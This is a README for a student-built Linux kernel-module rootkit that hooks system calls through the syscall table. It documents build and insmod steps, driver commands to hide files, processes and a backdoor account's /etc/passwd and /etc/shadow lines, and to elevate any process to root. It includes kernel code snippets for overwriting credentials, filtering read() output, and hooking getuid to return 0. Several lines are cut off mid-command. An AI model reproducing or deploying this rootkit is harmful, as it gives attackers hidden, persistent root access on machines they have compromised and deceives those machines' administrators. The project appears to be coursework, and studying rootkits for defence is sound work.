ROOTKIT

A basic rootkit Linux kernel module for exploiting kernel functions and user data.

> This rootkit was developed and intended for Ubuntu 16.04 xenial on kernel version x86_64 4.15.0-66-generic

Rootkit functionalities:

- File hiding
- Process hiding
- Process privilege escalation
- User hiding
- Hooking custom system calls

Prompt/Introduction

After attackers manage to gain access to a remote (or local) machine and elevate their privileges to "root", they typically want to maintain their access, while hiding their presence from the normal users and administrators of the system.

In this project, you are asked to design and implement a basic rootkit for the Linux operating system (you can choose the exact distribution and kernel number). This rootkit should have the form of a loadable kernel module which when loaded into the kernel (by the attacker with root privileges) will do the following:

```
-Hide specific files and directories from showing up when a user does "ls"
similar commands (you have to come up with a protocol that allows attackers

-Modify the /etc/passwd and /etc/shadow file to add a backdoor account whil
returning the original contents of the files (pre-attack) when a normal use
```

```
-Hides specific processes from the process table when a user does a "ps"

-Give the ability to a malicious process to elevate its uid to 0 (root) upo
demand (again this involves coming up with a protocol for doing that)
```

Note that all of these should happen by intercepting the appropriate system calls in the Linux kernel and modifying the results. You should not perform the above by replacing the system binaries (like "ls", or "ps").

Installation

This module is composed of two components, the core and the driver. Each component will have to built sepeartely.

> The following commands assume that this project folder is the current directory.

Core

The core program is the Linux kernel module that will handle system call hooking and other operations in the kernel space. All of these commands should be ran in `./core`.

> **You must have root privileges to run these installation commands**.

Build

To compile the module, run `make`

```
# make
```

Install

To install the module, run `insmod`

```
# insmod src/blob.ko
```

or just:

```
# make install
```

> **Note**: Our module loads with the name `blob` when displayed from `lsmod`.

Uninstall

To uninstall the module, run `rmmod`

```
# rmmod blob
```

Clean

In the event that you need to re-compile our module, you can clean the compiled object and kernel-object files with this command.

```
# make clean
```

Driver

The driver program is used to communicate to the core program from user space. This will interface the client and the core by accepting a series of command arguements. All of these commands should be ran in `./driver`.

```
$ cd driver
```

Install

Install the driver program using the C compiler.

```
$ cc syscall.c -o syscall
```

Uninstall

To uninstall the driver program, delete it.

```
$ rm syscall
```

Usage

Client makes a system call, with these arguments:

```
syscall(secret system call number, secret, command, ...)
```

Module intercepts the system call, and checks that the secret is accurate before evaluating the command.

Use the `driver` POSIX script to send remote commands to the module.

```
$ ./driver COMMAND [ULONG | 0xHEXULONG | CARRAY ...]
```

> **PLEASE NOTE: the driver script doesn't properly handle whitespace; to bypass this, execute the system call directly.**

Command	Description
`drop PID`	set a process's EUID to its UID
`elevate PID`	set a process's EUID to root
`fugitive ETC_PASSWD_LINE ETC_SHADOW_LINE`	hide lines in "/etc/passwd" and "/etc/shadow"
`hide PATH_OR_COMMAND_LINES`	hide an entity (a directory entry or ALL processes matching the command line: in that order)

Command	Description
`show PATH_OR_COMMAND_LINES`	show a hidden entity (a directory entry or ALL processes matching the command line: in that order)
`unfugitive`	show lines in "/etc/passwd" and "/etc/shadow"

File Hiding

Commands such as `ls`, `ps` or `tree` make use of the `getdents()` syscall to list directory entries at the given directory.

The `getdents` syscall creates a linked list of directory entry structures (defined by `linux_dirent` and `linux_dirent64`) and fills it into a caller provided pointer and then returns the number of bytes written into the pointer back to the caller.

In order to hide files, we just call the original `getdents` syscall to generate the structure and then we need to remove the desired `linux_dirent` structures from the linked list and alter the count of bytes returned by `getdents`.

To determine what counts as a desired `linux_dirent` structure to remove, we check if the `d_name` field in the `linux_dirent` structure contains a set *prefix* in the file name. If it contains said *prefix*, we will remove it from the linked list by shifting the entries ahead of the one we want to delete onto the current one.

Examples

To hide a file, you must add the *prefix* to the front of its name.

> **" `3v!1` "** is the *prefix* for our rootkit.

Creating a hidden text file called `helloworld.txt` using the `nano` text editor (you may use any text editor of your choice):

```
$ nano 3v!1helloworld.txt
```

```
or using the driver

$ nano helloworld.txt
$ ./driver hide helloworld.txt
```

Hiding an existing text file called `helloworld.txt`:

```
$ mv helloworld.txt 3v!1helloworld.txt

or using the driver

$ ./driver hide helloworld.txt
```

To unhide a file, you must rename the file to remove the prefix. Unhiding a file called `helloworld.txt` which already has the specified hiding prefix:

```
$ mv 3v!1helloworld.txt helloworld.txt

 or using the driver

$ ./driver show helloworld.txt
```

> **Note:** Make sure you keep track of the paths of directories/files that are hidden as they will be hidden to you as well.

Process Hiding

> **PLEASE NOTE: if the argument is both a path and a process command line, the path will always take precedence, and the process will not be hidden (this only applies to the driver; the workaround is to use the system call interface manually)!**

Hiding a process works in a similar manner to file hiding. Commands such as `ps`, `top`, `htop`, etc. make use of the `getdents` syscall on the `/proc` directory to obtain details

of the current processes running. The `/proc` directory is comprised of files and directories that contain details about the system such as resource usage. The `/proc` directory also contains directories which are named with an integer corresponding the the PID of a process which is what we will use for hiding processes.

To hide processes, we do the same process as hiding a file except in order to determine what `linux_dirent` structure to remove, we have to perform some extra steps.

- Since the `d_name` field of the `linux_dirent` only gives us the PID of the process which the `linux_dirent` belongs to, we have to perform a lookup of the pid to get its `task_struct` .
- The struct `task_struct` has a comm field which contains the command name of the process which we then check if it contains the prefix.
- If it does contain the prefix then we remove the `linux_dirent` structure, otherwise we check if the command name is in our arraylist of processes to hide. If the process name is in our arraylist, we remove the `linux_dirent` structure, otherwise it will be shown.
- The arraylist is an array of strings that is allocated on the installation of the module and is resized when the maximum capacity is reached.

Examples

Process hiding can be done in two ways: Naming the executable file with the prefix **`3v!1`** or by using the driver to add a specific process name.

Creating a shell script called `helloworld.sh` that will be hidden using nano text editor (you may use whatever text editor you want):

```
$ nano 3v!1helloworld.sh
```

or using the driver

```
$ nano helloworld.sh
```

```
$ ./driver hide helloworld.sh
```

Hiding a shell script called `helloworld.sh` from the process list:

```
$ mv helloworld.sh 3v!1helloworld.sh
```

or using the driver

```
$ ./driver hide helloworld.sh
```

Showing a shell script called `helloworld.sh` from the process list on next execution:

```
$ mv 3v!1helloworld.sh helloworld.sh
```

or using the driver

```
$ ./driver show helloworld.sh
```

> **Note:** If the process spawns subprocesses, those subprocesses will NOT be hidden (e.g. if `helloworld.sh` uses sleep 30, sleep will show up in `ps`). You must use the driver to hide these subprocesses which is shown in the next examples.

Hiding all processes named bash using the driver:

```
$ ./driver hide bash
```

> NOTE: As is said above, there must be no files that are the same name as the process you want to hide in the current working directory (`cwd`). The process name you want to hide must also not be a path to an existing file. Otherwise the driver will hide the file and not the process. e.g. if there is a file called bash in `cwd` and you do `./driver` hide bash, the bash file will be hidden and not the process.

Showing all previously hidden processes named bash using the driver:

```
$ ./driver show bash
```

> NOTE: As is said above, there must be no files that are the same name as the process you want to hide in the current working directory (`cwd`). The process name you want to hide must also not be a path to an existing file. Otherwise the driver will hide the file and not the process. e.g. if there is a file called bash in `cwd` and you do ./driver hide bash, the bash file will be hidden and not the process.

Process privilege escalation

In Linux, a process structure is defined by the `task_struct` .

Escalating processes is done by modifying a `task_struct` 's credentials. This can be accomplished by overwriting the credentials struct within the `task_struct` .

All of a task's credentials are held in (uid, gid) or through (groups, keys, LSM security) a refcounted structure of type `struct cred` .

Each task points to its credentials by a pointer called `cred` in its `task_struct` .

```
pcred = (struct cred *)task->cred;
```

In order to escalate, we can set the credentials equal to root.

```
pcred->uid.val = 0;
pcred->suid.val = 0;
pcred->euid.val = 0;
pcred->fsuid.val = 0;
pcred->gid.val = 0;
pcred->sgid.val = 0;
pcred->egid.val = 0;
pcred->fsgid.val = 0;
```

Our rootkit will also save the process's original credentials in a custom pid_node struct.

```
typedef struct pid_node {
    pid_t       pid;
    kuid_t uid, suid, euid, fsuid;
    kgid_t gid, sgid, egid, fsgid;
    struct pid_node *prev, *next;
} PID_NODE;
```

And back it up in case the user wants to drop the privileges.

```
new_node->uid = pcred->uid;
new_node->suid = pcred->suid;
new_node->euid = pcred->euid;
new_node->fsuid = pcred->fsuid;
new_node->gid = pcred->gid;
new_node->sgid = pcred->sgid;
new_node->egid = pcred->egid;
new_node->fsgid = pcred->fsgid;
```

Example

Use our driver program to escalate a process by its PID.

Escalating a process with a PID 12345

```
$ ./driver elevate 12345
```

Dropping the escalated process back to its original UID

```
$ ./driver drop 12345
```

> **Note:** You may only drop processes you have escalated before.

User Hiding

> **PLEASE NOTE: at most, 1 account can be hidden at a time** The rootkit hides a backdoor account by hijacking the read syscall and truncating parts of the output buffer.

The module hijacks the system calls `open`, `read`, and `close`. The idea is that when a normal file is opened, all three syscalls will return their regular outputs. However, when files such as /etc/passwd and /etc/shadow are being opened, a flag called "*erase*" is triggered for the `read` syscall to do specific hiding.

The flag *erase* is an enum with the following definition.

```
enum file_content_hide {NONE, PASS_E, SHAD_E} file_content_hide;
```

A switch statement is used to determine the content to hide (stored in string variable `hidden`).

```
switch(erase){
    case PASS_E:
        hidden = fugitive__lines[0];
        break;
    case SHAD_E:
        hidden = fugitive__lines[1];
        break;
    case NONE:
        // Do nothing as it is a regular file
        break;
}
```

We then proceed to null out the part of the content we want to hide. We substract `hidden` from return size.

```
if(hidden != NULL){
```

```
        ptr = strnstr(buf, hidden, count);
        if(ptr != NULL) {
            memset(ptr, '\0', strlen(hidden));
            ret -= count < strlen(hidden) ? count : strlen(hidden);
        }
    }
```

> **Note** This function does not **add** backdoor accounts, it only hides an exisiting one. You will have to use tools such as `useradd` to create a backdoor account on the system you wish to hide.

Example

Pass 1 line from `/etc/passwd` along with another from `/etc/shadow` into the driver:

```
$ ./driver fugitive `cat /etc/passwd | grep MY_USERNAME` `sudo cat /etc/sha
```

Making those lines visible again is as simple as:

```
$ ./driver unfugitive
```

Details on the Core

The rootkit core is built upon the System Call Table Modifier (`sctm` for short), which manages hooks on the system call table. Under this approach, extensibility abounds.

Locating the System Call Table

For cleanliness (and ease of implementation), we opted to use the kernel's symbol table interface (`kallsyms`). However, that's not to say that this is the only method of locating the syscall table that `sctm` supports. `sctm` 's `sctm__locate_system_call_table` can easily be modified to locate the system call table in any number of ways. For example, we explored:

- searching for a sentinel address and
- probabilistic classification

Using the System Call Table Modifier (`sctm`)

`sctm` is partially object-oriented (in that all operations occur on a `struct sctm *`); as a result, a `struct sctm` instance **must** be initialized with `sctm_init` and finalized with `sctm_cleanup` . A simple (likely incomplete) example follows.

`./include/sctm.h` :

> **OMITTED FOR BREVITY**

`./Makefile` :

> **PLEASE NOTE: because of undefined reference issues in a multi-sourced module, the module is built as a code blob**

```
BLOB := blob.c
CLEAN_TARGETS := "$(BLOB)" .cache.mk *.ko modules.order Module.symvers *.o
VERSION := `uname -r`
KDIR := /lib/modules/$(VERSION)/build
WD := `pwd`
SRC := $(WD)/src
SRCS := example.c sctm.c

kbuild:
    if [ -e "$(BLOB)" ]; then rm "$(BLOB)"; fi
    cd "$(SRC)" && cat $(SRCS) > "$(BLOB)"
    make -C "$(KDIR)" M="$(SRC)" modules

clean:
    cd "$(SRC)" && for TARGET in $(CLEAN_TARGETS); do [ -e "$${TARGET}" ] &
    make -C "$(KDIR)" M="$(SRC)" clean

install:
    make && sudo insmod "$(SRC)"/*.ko
```

./src/Kbuild：

```
EXTRA-CFLAGS += -I"$(PWD)/include" -Wall -Werror
obj-m += blob.o
```

./src/example.c：

```
#define __KERNEL__

#include <linux/errno.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

#include "sctm.h"

/* tell all `getuid` requests that the caller is root */

struct sctm_hook hook;
int inited = 0;
struct sctm modifier;

/* tell all callers that their UID is 0 (they're root) */
asmlinkage unsigned long lie(void);

void __exit exit_module(void) {
  ...

  sctm_cleanup(&modifier);

  ...
}

int __init init_module(void) {
  int retval;

  ...
```

```
  if ((retval = sctm_init(&modifier)))
    return retval;
  hook = (struct sctm_hook) {
    .call = __NR_getuid,
    .hook = (sctm_syscall_handler_t) &lie
  };

  if ((retval = sctm_hook(&modifier, &hook)) {
    sctm_cleanup(&modifier); /* ignore failure */
    return retval;
  }

  /* all `getuid` callers will now believe they're root */

  return 0;
}

asmlinkage unsigned long lie(void) {
  return 0;

  /*
  if we wanted to defer to the original instead,
  we could use something like this:
    `return ((asmlinkage unsigned long (*)(void)) hook.original)();`
  */
}

module_exit(exit_module)
module_init(init_module)

MODULE_LICENSE("GPL");
```

Distribution of work

- Driver, client communication with modules, hooking custom system calls, and consolidation of all functional modules - Bailey Defino
- Process privlege escalation - Bryan Valarezo
- Process hiding and file hiding - Jeffrey Wong

- Backdoor account/hiding users from /etc/shadow and /etc/passwd - Junming Liu

Sources

Helpful resources used during the development of this project

1. https://blog.trailofbits.com/2019/01/17/how-to-write-a-rootkit-without-really-trying/
2. https://davejingtian.org/2019/02/25/syscall-hijacking-in-2019/
3. https://www.kernel.org/doc/Documentation/security/credentials.txt
4. https://github.com/torvalds/linux/blob/master/include/linux/sched.h
5. http://tldp.org/LDP/lkmpg/2.6/html/lkmpg.html
6. https://www.kernel.org/doc/html/latest/media/uapi/v4l/io.html
7. https://mammon.github.io/Text/kernel_read.txt
8. https://stackoverflow.com/questions/1184274/read-write-files-within-a-linux-kernel-module
9. https://elixir.bootlin.com/
10. http://man7.org/linux/man-pages/man2/getdents.2.html
11. https://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example
12. https://docs.huihoo.com/doxygen/linux/kernel/3.7/structdentry.html
13. http://tuxthink.blogspot.com/2012/07/module-to-find-task-from-its-pid.html
14. https://ccsl.carleton.ca/~dmccarney/COMP4108/a2.html
15. https://stackoverflow.com/questions/8250078/how-can-i-get-a-filename-from-a-file-descriptor-inside-a-kernel-module

License

version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see https://www.gnu.org/licenses/.